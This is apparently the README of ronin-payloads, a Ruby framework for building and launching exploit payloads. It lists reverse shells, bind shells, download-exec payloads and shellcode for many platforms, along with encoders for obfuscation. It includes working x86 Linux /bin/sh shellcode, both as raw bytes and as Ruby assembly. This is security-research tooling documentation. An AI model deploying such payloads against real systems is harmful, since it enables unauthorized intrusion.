ronin-payloads
Description
ronin-payloads is a Ruby micro-framework for writing and running exploit payloads. ronin-payloads allows one to write payloads as plain old Ruby classes. ronin-payloads can be distributed as Ruby files or in git repositories that can be installed with ronin-repos.
tl;dr It's like msfvenom
but simpler and more modular.
ronin-payloads is part of the ronin-rb project, a Ruby toolkit for security research and development.
Features
- Provides a succinct syntax and API for writing payloads in as few lines as possible.
- Supports defining Payloads as plain old Ruby classes.
- Provides base classes for a variety of languages and payload types (ASM, Shellcode, C, Go, Rust, Java, Groovy, JSP, PHP, Python, Ruby, NodeJS, Nashorn, Shell, PowerShell, SQL, XML, HTML, URL).
- Supports cross compiling C payloads to different architectures and OSes.
- Provides built-in common payloads:
- Command-line reverse shells:
- Awk
- Bash
- Lua
- NodeJS
- OpenSSL
- Perl
- PHP
- PowerShell
- Python
- Ruby
- Zsh
- Java
- Reverse shell
- JavaScript
- Node.js
- Reverse shell
- Nashorn
- Reverse shell
- Node.js
- Groovy
- Reverse shell
- PHP
- Command exec.
- Shellcode:
-
execve(/bin/sh)
:- Linux (ARM, MIPS, PPC, x86, x86-64)
- FreeBSD (x86, x86-64)
- macOS (x86-64)
- NetBSD (x86)
- OpenBSD (x86)
- bind shell:
- Linux (ARM, MIPS, x86, x86-64)
- FreeBSD (x86)
- OpenBSD (x86)
- reverse shell:
- Linux (ARM, MIPS, PPC, x86, x86-64)
- macOS (x86-64)
- FreeBSD (x86)
- NetBSD (x86)
-
- C payloads:
- reverse shell:
- Windows (x86-64 and i686)
- UNIX (Linux, FreeBSD, OpenBSD, NetBSD, macOS)
- reverse shell:
- Command-line reverse shells:
- Supports adding additional encoders to payloads for further obfuscation.
- Integrates with the Ronin Post-Exploitation library.
- Provides a simple CLI for building, encoding, launching, and generating new payloads.
- Has 86% documentation coverage.
- Has 99% test coverage.
Anti-Features
- No magic: exploits are defined as classes in files.
- No global state that could cause memory leaks.
- Not a big bulky framework, just a library.
- Not a central repository. Additional [ronin-payloads] can be hosted in other git repositories. This prevents censorship of offensive security tools.
Synopsis
Usage: ronin-payloads [options] [COMMAND [ARGS...]]
Options:
-h, --help Print help information
Arguments:
[COMMAND] The command name to run
[ARGS ...] Additional arguments for the command
Commands:
build
completion
encode
encoder
encoders
help
irb
launch
list, ls
new
show, info
List available payloads:
$ ronin-payloads list
bin/unix/reverse_shell
bin/windows/reverse_shell
cmd/awk/reverse_shell
cmd/bash/reverse_shell
cmd/lua/reverse_shell
cmd/netcat/bind_shell
cmd/node/reverse_shell
cmd/openssl/reverse_shell
cmd/perl/reverse_shell
cmd/php/reverse_shell
cmd/ping
cmd/powershell/reverse_shell
cmd/python/reverse_shell
cmd/ruby/reverse_shell
cmd/sleep
cmd/touch
cmd/windows/download
cmd/zsh/reverse_shell
groovy/reverse_shell
java/reverse_shell
js/nashorn/reverse_shell
js/node/reverse_shell
php/cmd_exec
php/download_exec
shellcode/freebsd/x86/bind_shell
shellcode/freebsd/x86/exec_shell
shellcode/freebsd/x86/reverse_shell
shellcode/freebsd/x86_64/exec_shell
shellcode/linux/arm/bind_shell
shellcode/linux/arm/exec_shell
shellcode/linux/arm/reverse_shell
shellcode/linux/mips/bind_shell
shellcode/linux/mips/exec_shell
shellcode/linux/mips/reverse_shell
shellcode/linux/ppc/exec_shell
shellcode/linux/ppc/reverse_shell
shellcode/linux/x86/bind_shell
shellcode/linux/x86/exec_shell
shellcode/linux/x86/reverse_shell
shellcode/linux/x86_64/bind_shell
shellcode/linux/x86_64/exec_shell
shellcode/linux/x86_64/reverse_shell
shellcode/macos/x86_64/exec_shell
shellcode/macos/x86_64/reverse_shell
shellcode/netbsd/x86/exec_shell
shellcode/netbsd/x86/reverse_shell
shellcode/openbsd/x86/bind_shell
shellcode/openbsd/x86/exec_shell
shellcode/windows/x86_64/cmd
test/cmd
test/open_redirect
test/url
test/xss
Install a 3rd-party repository of payloads:
$ ronin-repos install https://github.com/user/payloads.git
Print additional information about a specific payload:
$ ronin-payloads show NAME
List available payload encoders:
$ ronin-payloads encoders
Print additional information about a specific encoder:
$ ronin-payloads encoder NAME
Build and output a payload:
$ ronin-payloads build NAME
Load a payload from a file, then build and output it:
$ ronin-payloads build -f FILE NAME
Generate a boilerplate payload file, with some custom information:
$ ronin-payloads new example_payload.rb \
--name Example --arch i686 --os Linux \
--authors Postmodern --description "This is an example."
Generate a ronin repository of your own payloads (or exploits):
$ ronin-repos new my-repo
$ cd my-repo/
$ mkdir payloads
$ ronin-payloads new payloads/my_payload.rb \
--name MyPayload --arch i686 --os Linux \
--authors You --description "This is my payload."
$ vim payloads/my_payload.rb
$ git add payloads/my_payload.rb
$ git commit
$ git push
Examples
Define a /bin/sh
shellcode payload:
# encoding: ASCII-8BIT
require 'ronin/payloads/shellcode_payload'
module Ronin
module Payloads
class LinuxX86BinSh < ShellcodePayload
register 'shellcode/linux/x86/bin_sh'
summary 'x86 Linux /bin/sh shellcode'
description <<~EOS
Shellcode that spawns a local /bin/sh shell
EOS
arch :x86
os :linux
def build
@payload = "1\xc0Ph//shh/bin\x89\xdcPS\x89\xcc1\xd2\xcd\x0b"
end
end
end
end
Define a /bin/sh
shellcode payload in pure-Ruby:
require 'ronin/payloads/shellcode_payload'
module Ronin
module Payloads
module Shellcode
module Linux
module X86
class BinSh < ShellcodePayload
register 'shellcode/linux/x86/bin_sh'
description <<~DESC
Shellcode that spawns a local /bin/sh shell
DESC
arch :x86
os :linux
def build
shellcode do
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov esp, ebx
push eax
push ebx
mov esp, ecx
xor edx, edx
int 0xb
end
end
end
end
end
end
end
end
Define a payload encoder class:
require 'ronin/encoders/encoder'
module Ronin
module Payloads
module Encoders
module Text
class Base64 < Ronin::Encoders::Encoder
register 'text/base64'
description <<~DESC
Example base64 payload encoder
DESC
arch :x86
os :linux
def encode(data)
data.to_s.base64_encode
end
end
end
end
end
end
Requirements
- Ruby >= 3.0.0
- ronin-support ~> 1.0
- ronin-code-asm ~> 1.0
- ronin-post_ex ~> 0.1
- ronin-core ~> 0.2
- ronin-repos ~> 0.1
Install
$ gem install ronin-payloads
Gemfile
gem 'ronin-payloads', '~> 0.1'
gemspec
gem.add_dependency 'ronin-payloads', '~> 0.1'
Development
- Fork It!
- Clone It!
cd ronin-payloads/
./scripts/setup
git checkout -b my_feature
- Code It!
bundle exec rake spec
git push origin my_feature
Disclaimer
ronin-payloads only contains basic or generic exploit payloads that can be easily found online or in other Open Source security tools. ronin-payloads does not contain by default any weaponized payloads. These payloads are themselves not harmful without an exploit to deliver them. Therefor, ronin-payloads must not and should not be considered to be malicious software (malware) or malicious in nature.
License
Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
ronin-payloads is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
ronin-payloads is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with ronin-payloads. If not, see https://www.gnu.org/licenses/.